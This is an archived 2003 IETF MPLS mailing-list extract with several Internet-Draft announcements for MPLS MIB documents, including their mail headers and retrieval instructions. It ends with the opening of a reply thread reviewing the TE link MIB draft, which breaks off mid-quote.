X-Antispam: Blocked as spam by Teamconnect Anti Spam Check v1.1
X-Original-To: IETF-Announce: ;
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: A Supplementary History Module for the MPLS LDP-MIB
	Author(s)	: W. Lai
	Filename	: draft-lai-mpls-ldp-hist-mib-00.txt
	Pages		: 8
	Date		: 2003-10-22
	
In this document, requirements for supplementing the MPLS LDP-MIB 
are presented for the support of specific network management needs 
for fault and performance management.  Based on these requirements, 
it describes managed objects in a supplementary history module for 
use with the LDP-MIB.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-lai-mpls-ldp-hist-mib-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-lai-mpls-ldp-hist-mib-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-lai-mpls-ldp-hist-mib-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-22182506.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-lai-mpls-ldp-hist-mib-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-lai-mpls-ldp-hist-mib-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-22182506.I-D@ietf.org>

--OtherAccess--

--NextPart--





From owner-mpls@UU.NET  Thu Oct 23 09:58:11 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21667
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 09:58:10 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqt17263
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 13:58:19 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqt17011;
	Thu, 23 Oct 2003 13:58:11 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqs15556
	for mpls-outgoing; Thu, 23 Oct 2003 13:41:28 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplqs15547
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 13:41:27 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplqs11040
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:40:57 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqs20846
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:40:57 GMT
Received: from sj-iport-5.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQplqs20836
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:40:56 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-5.cisco.com with ESMTP; 23 Oct 2003 06:43:12 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9NDerQY007269
	for <mpls@uu.net>; Thu, 23 Oct 2003 06:40:54 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADK03900;
	Thu, 23 Oct 2003 09:40:51 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NDeps22187 for mpls@uu.net; Thu, 23 Oct 2003 09:40:51 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplqs15337
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 13:39:44 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplqs18684
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:38:04 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqs15749
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:38:03 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQplqs15685
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:38:00 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19737;
	Thu, 23 Oct 2003 09:37:50 -0400 (EDT)
Message-Id: <200310231337.JAA19737@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-lsr-mib-13.txt
Date: Thu, 23 Oct 2003 09:37:50 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Multiprotocol Label Switching (MPLS) Label Switching 
			  Router (LSR)Management Information Base
	Author(s)	: C. Srinivasan, A. Viswanathan, T. Nadeau
	Filename	: draft-ietf-mpls-lsr-mib-13.txt
	Pages		: 57
	Date		: 2003-10-22
	
This memo defines an portion of the Management
Information Base (MIB) for use with network management protocols
in the Internet community.  In particular, it describes managed
objects to configure and/or monitor a Multi-Protocol Label 
Switching (MPLS) Label Switching Router (LSR).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsr-mib-13.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-lsr-mib-13.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-lsr-mib-13.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-22184159.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-lsr-mib-13.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-lsr-mib-13.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-22184159.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Thu Oct 23 09:58:14 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21669
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 09:58:11 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqt17282
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 13:58:20 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqt17018;
	Thu, 23 Oct 2003 13:58:12 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqs15559
	for mpls-outgoing; Thu, 23 Oct 2003 13:41:31 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplqs15543
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 13:41:21 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplqs22130
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:40:54 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqs19416
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:40:53 GMT
Received: from ams-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ams-iport-1.cisco.com [144.254.74.5])
	id QQplqs19409
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:40:53 GMT
Received: from cisco.com (171.71.177.254)
  by ams-iport-1.cisco.com with ESMTP; 23 Oct 2003 15:38:52 +0200
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9NDejj2020231
	for <mpls@uu.net>; Thu, 23 Oct 2003 06:40:48 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADK03883;
	Thu, 23 Oct 2003 09:40:44 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NDeie22153 for mpls@uu.net; Thu, 23 Oct 2003 09:40:44 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplqs15300
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 13:38:58 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplqs21075
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:37:20 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqs14989
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:37:20 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQplqs14925
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:37:16 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19642;
	Thu, 23 Oct 2003 09:37:06 -0400 (EDT)
Message-Id: <200310231337.JAA19642@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-ftn-mib-09.txt
Date: Thu, 23 Oct 2003 09:37:05 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Multiprotocol Label Switching (MPLS) Forwarding 
			  Equivalence Class To Next Hop Label Forwarding Entry 
			  (FEC-To-NHLFE)Management Information Base
	Author(s)	: T. Nadeau, C. Srinivasan, A. Viswanathan
	Filename	: draft-ietf-mpls-ftn-mib-09.txt
	Pages		: 40
	Date		: 2003-10-22
	
This memo defines a portion of the Management Information Base (MIB)
for use with network management protocols in the Internet community.
In particular, it describes managed objects for defining, configuring
and monitoring Forwarding Equivalent Class (FEC) to Next Hop Label
Forwarding Entry (NHLFE) mappings and corresponding actions for use
with Multiprotocol Label Switching (MPLS).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-ftn-mib-09.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-ftn-mib-09.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-ftn-mib-09.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-22184113.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-ftn-mib-09.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-ftn-mib-09.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-22184113.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Thu Oct 23 09:58:15 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21700
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 09:58:14 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqt17361
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 13:58:23 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqt16956;
	Thu, 23 Oct 2003 13:58:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqs15565
	for mpls-outgoing; Thu, 23 Oct 2003 13:41:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplqs15541
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 13:41:21 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplqs24868
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:41:00 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqs20879
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:40:59 GMT
Received: from sj-iport-5.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQplqs20868
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:40:58 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-5.cisco.com with ESMTP; 23 Oct 2003 06:43:14 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9NDerQa007269
	for <mpls@uu.net>; Thu, 23 Oct 2003 06:40:56 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADK03902;
	Thu, 23 Oct 2003 09:40:52 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NDeqN22196 for mpls@uu.net; Thu, 23 Oct 2003 09:40:52 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplqs15319
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 13:39:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplqs17917
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:38:47 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqs16469
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:38:46 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQplqs16419
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:38:43 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19769;
	Thu, 23 Oct 2003 09:38:33 -0400 (EDT)
Message-Id: <200310231338.JAA19769@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-te-mib-13.txt
Date: Thu, 23 Oct 2003 09:38:33 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Multiprotocol Label Switching (MPLS) Traffic 
			  Engineering Management Information Base
	Author(s)	: C. Srinivasan, A. Viswanathan, T. Nadeau
	Filename	: draft-ietf-mpls-te-mib-13.txt
	Pages		: 68
	Date		: 2003-10-22
	
This memo defines a portion of the Management Information
Base  (MIB) for use with network management protocols in
the Internet community.  In particular, it describes
managed objects for Multiprotocol Label Switching (MPLS)
based traffic engineering.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-te-mib-13.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-te-mib-13.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-te-mib-13.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-22184233.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-te-mib-13.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-te-mib-13.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-22184233.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Thu Oct 23 10:23:36 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA25205
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 10:23:36 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqv15424
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 14:23:42 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqv15028;
	Thu, 23 Oct 2003 14:23:30 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqt17920
	for mpls-outgoing; Thu, 23 Oct 2003 13:59:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplqt17914
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 13:59:44 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplqt26832
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:33 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqt04181
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:33 GMT
Received: from sj-iport-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQplqt04131
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:31 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 23 Oct 2003 07:00:39 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9NDxRQY026183
	for <mpls@uu.net>; Thu, 23 Oct 2003 06:59:28 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADK06232;
	Thu, 23 Oct 2003 09:59:25 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NDxPK26176 for mpls@uu.net; Thu, 23 Oct 2003 09:59:25 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplms04488
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 11:33:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplms02537
	for <mpls@uu.net>; Wed, 22 Oct 2003 11:33:01 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplms18573
	for <mpls@uu.net>; Wed, 22 Oct 2003 11:33:01 GMT
Received: from fep01-mail.bloor.is.net.cable.rogers.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	id QQplms18563
	for <mpls@uu.net>; Wed, 22 Oct 2003 11:33:00 GMT
Received: from dune ([24.103.66.219])
          by fep01-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20031022113256.OXPD61510.fep01-mail.bloor.is.net.cable.rogers.com@dune>;
          Wed, 22 Oct 2003 07:32:56 -0400
Message-ID: <001201c39890$255a66e0$2202a8c0@flfrd.phub.net.cable.rogers.com>
From: "Martin Dubuc" <dubuc.consulting@rogers.com>
To: "Dave Thaler" <dthaler@windows.microsoft.com>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>, "Bert Wijnen" <bwijnen@lucent.com>,
        "Sudheer Dharanikota" <sudheer@ieee.org>,
        "Jonathan Lang" <jplang@ieee.org>, "Loa Andersson" <loa@pi.se>,
        "Mpls \(E-mail\)" <mpls@UU.NET>
References: <C9588551DE135A41AA2626CB6453093704759D7C@WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com>
Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Wed, 22 Oct 2003 07:32:15 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4922.1500
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4925.2800
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.103.66.219] using ID <dubuc.consulting@rogers.com> at Wed, 22 Oct 2003 07:32:56 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Dave,

The TE link MIB makes extensive use of the interface table. Our
specification relies on this part of MIB-II.

I will add text in the DESCIRPTION clause to emphasize the relationship
between teLinkLocalIpAddr and ipAddrTable.

Martin

----- Original Message -----
From: "Dave Thaler" <dthaler@windows.microsoft.com>
To: "Martin Dubuc" <dubuc.consulting@rogers.com>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen" <bwijnen@lucent.com>;
"Sudheer Dharanikota" <sudheer@ieee.org>; "Jonathan Lang" <jplang@ieee.org>;
"Loa Andersson" <loa@pi.se>
Sent: Tuesday, October 21, 2003 4:12 PM
Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt


> -----Original Message-----
> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
[...]
> ----- Original Message -----
> From: "Dave Thaler" <dthaler@windows.microsoft.com>
> To: <tnadeau@cisco.com>; "Martin Dubuc" <dubuc.consulting@rogers.com>;
> "Wijnen, Bert (Bert)" <bwijnen@lucent.com>; <sudheer@ieee.org>;
> <jplang@ieee.org>
> Sent: Monday, October 06, 2003 10:11 PM
> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>
>
> Sorry for the delay, but I've been reading a bunch of relevant
documents
> so I can help resolve the issue.  Besides the mpls-telink-mib and the
> tewg-mib, I've now read all of the following in entirety:
>
> [RFC2702] "Requirements for Traffic Engineering Over MPLS"
> [OSPF-TE] "Traffic Engineering Extensions to OSPF Version 2"
